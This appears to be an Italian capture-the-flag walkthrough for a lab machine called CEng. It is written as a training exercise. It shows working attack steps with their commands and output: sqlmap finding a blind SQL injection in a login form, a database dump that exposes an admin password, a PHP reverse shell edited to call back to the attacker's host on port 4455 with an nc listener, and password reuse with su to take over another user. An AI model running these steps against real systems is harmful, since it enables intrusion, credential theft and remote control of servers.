HackingLab – CEng Company

Utilizziamo sqlmap per verificare la vulnerabilità del database alla base della form di login con la sintassi sqlmap -u <URL DA VERIFICARE> –forms dove:
–forms indica che la pagina contiene una form da verificare.
Il risultato della scansione la vulnerabilità username (POST).

sqlmap -u http://192.168.188.81/masteradmin/login.php --forms
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=kQRD' AND (SELECT 3651 FROM (SELECT(SLEEP(5)))JFXj) AND 'jbWZ'='jbWZ&password=&remember-me=on&submit=KSaM
---

Proseguiamo con sqlmap verificando i database presenti sulla macchina con il comando sqlmap -u <URL DA VERIFICARE> –forms –dbs –batch dove:
-u indica l’url
–dbs indica che vogliamo estrarre i database presenti,
–batch disabilita la modalità interattiva.

sqlmap -u http://192.168.188.81/masteradmin/login.php --forms --dbs --batch
[12:04:14] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[12:05:12] [INFO] retrieved: cengbox
[12:05:36] [INFO] retrieved: mysql
[12:05:52] [INFO] retrieved: performance_schema
[12:06:49] [INFO] retrieved: sys
available databases [5]:
[*] cengbox
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Chiediamo quindi a sqlmap di estrarre tutte le informazioni disponibili per il database cengbox con il comando sqlmap -u <URL DA VERIFICAREA –forms -D cengbox –dump-all –batch secondo la sintassi:
-D seleziona il database su cui operare
–dump-all indica di procedere con l’estrazione di tutti i risultati.

[12:10:33] [INFO] fetching columns for table 'admin' in database 'cengbox'
[12:10:33] [INFO] retrieved: 3
[12:10:36] [INFO] retrieved: id
[12:10:43] [INFO] retrieved: username
[12:11:05] [INFO] retrieved: password
[12:11:33] [INFO] fetching entries for table 'admin' in database 'cengbox'
[12:11:33] [INFO] fetching number of entries for table 'admin' in database 'cengbox'
[12:11:33] [INFO] retrieved: 1
[12:11:37] [INFO] retrieved: C3ng0v3R00T1!
[12:12:27] [INFO] retrieved: masteradmin
Database: cengbox
Table: admin
[1 entry]
+------+-------------+---------------+
| id   | username    | password      |
+------+-------------+---------------+
| 1    | masteradmin | C3ng0v3R00T1! |
+------+-------------+---------------+

Accediamo quindi alla pagina http://192.168.188.81/masteradmin/login.php ed effettuiamo login con le credenziali appena scoperte; ci troviamo in una form che permette di uplodare dei file, purché siano in formato .ceng.

Recuperiamo da kali il payload al path /usr/share/webshells/php/ e lo modifichiamo perché apra una connessione verso la nostra macchina kali alla porta 4455.

kali@kali:~$ cd /usr/share/webshells/php/
kali@kali:/usr/share/webshells/php$ ls -al
totale 44
drwxr-xr-x 3 root root  4096 giu  4 16:04 .
drwxr-xr-x 8 root root  4096 giu  4 16:08 ..
drwxr-xr-x 2 root root  4096 giu  4 16:04 findsocket
-rw-r--r-- 1 root root  2800 lug 17  2019 php-backdoor.php
-rwxr-xr-x 1 root root  5491 lug 17  2019 php-reverse-shell.php
-rw-r--r-- 1 root root 13585 lug 17  2019 qsd-php-backdoor.php
-rw-r--r-- 1 root root   328 lug 17  2019 simple-backdoor.php
kali@kali:/usr/share/webshells/php$ cp php-reverse-shell.php /home/kali/Documenti/CEng/
kali@kali:/usr/share/webshells/php$ cd /home/kali/Documenti/CEng/
kali@kali:~/Documenti/CEng$ nano php-reverse-shell.php

VERSION = "1.0";
$ip = '192.168.188.75';  // CHANGE THIS
$port = 4455;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

Apriamo una shell e con il comando nc ci mettiamo in ascolto sulla porta 4455 secondo la sintassi nc -lvp <PORTA> dove:
-l modalità ascolto, per connessioni in entrata,
-v fornisce informazioni (due volte fornisce più informazioni),
-p port numero della porta locale.

Una volta caricato il payload lo eseguiamo lanciandolo dal path /uploads/ seguito dal nome che abbiamo dato allo script php.

Una volta lanciato lo script tramite browser otteniamo una shell come www-data

kali@kali:~/Documenti/CEng$ nc -lvp 4455
listening on [any] 4455 ...
connect to [192.168.188.75] from cengbox.fritz.box [192.168.188.81] 39538
Linux cengbox 4.4.0-177-generic #207-Ubuntu SMP Mon Mar 16 01:16:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:52:53 up  6:53,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Otteniamo quindi una shell BASH con il comando python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@cengbox:/$

Navighiamo le directory degli utenti alla ricerca di altre possibili login: troviamo l’utente cengover e proviamo ad accedere con su utilizzando la stessa password utilizzata in precedenza: C3ng0v3R00T1!

www-data@cengbox:/$ cd /home
cd /home
www-data@cengbox:/home$ ls -al
ls -al
total 16
drwxr-xr-x  4 root     root     4096 Apr 25 23:01 .
drwxr-xr-x 23 root     root     4096 Jun  6 09:06 ..
drwxr-xr-x  3 root     root     4096 Apr 25 23:01 .ecryptfs
dr-x------  2 cengover cengover 4096 Apr 25 23:01 cengover
www-data@cengbox:/home$ su cengover
su cengover
Password: C3ng0v3R00T1!

cengover@cengbox:/home$ 

Leave a Reply

Your email address will not be published. Required fields are marked *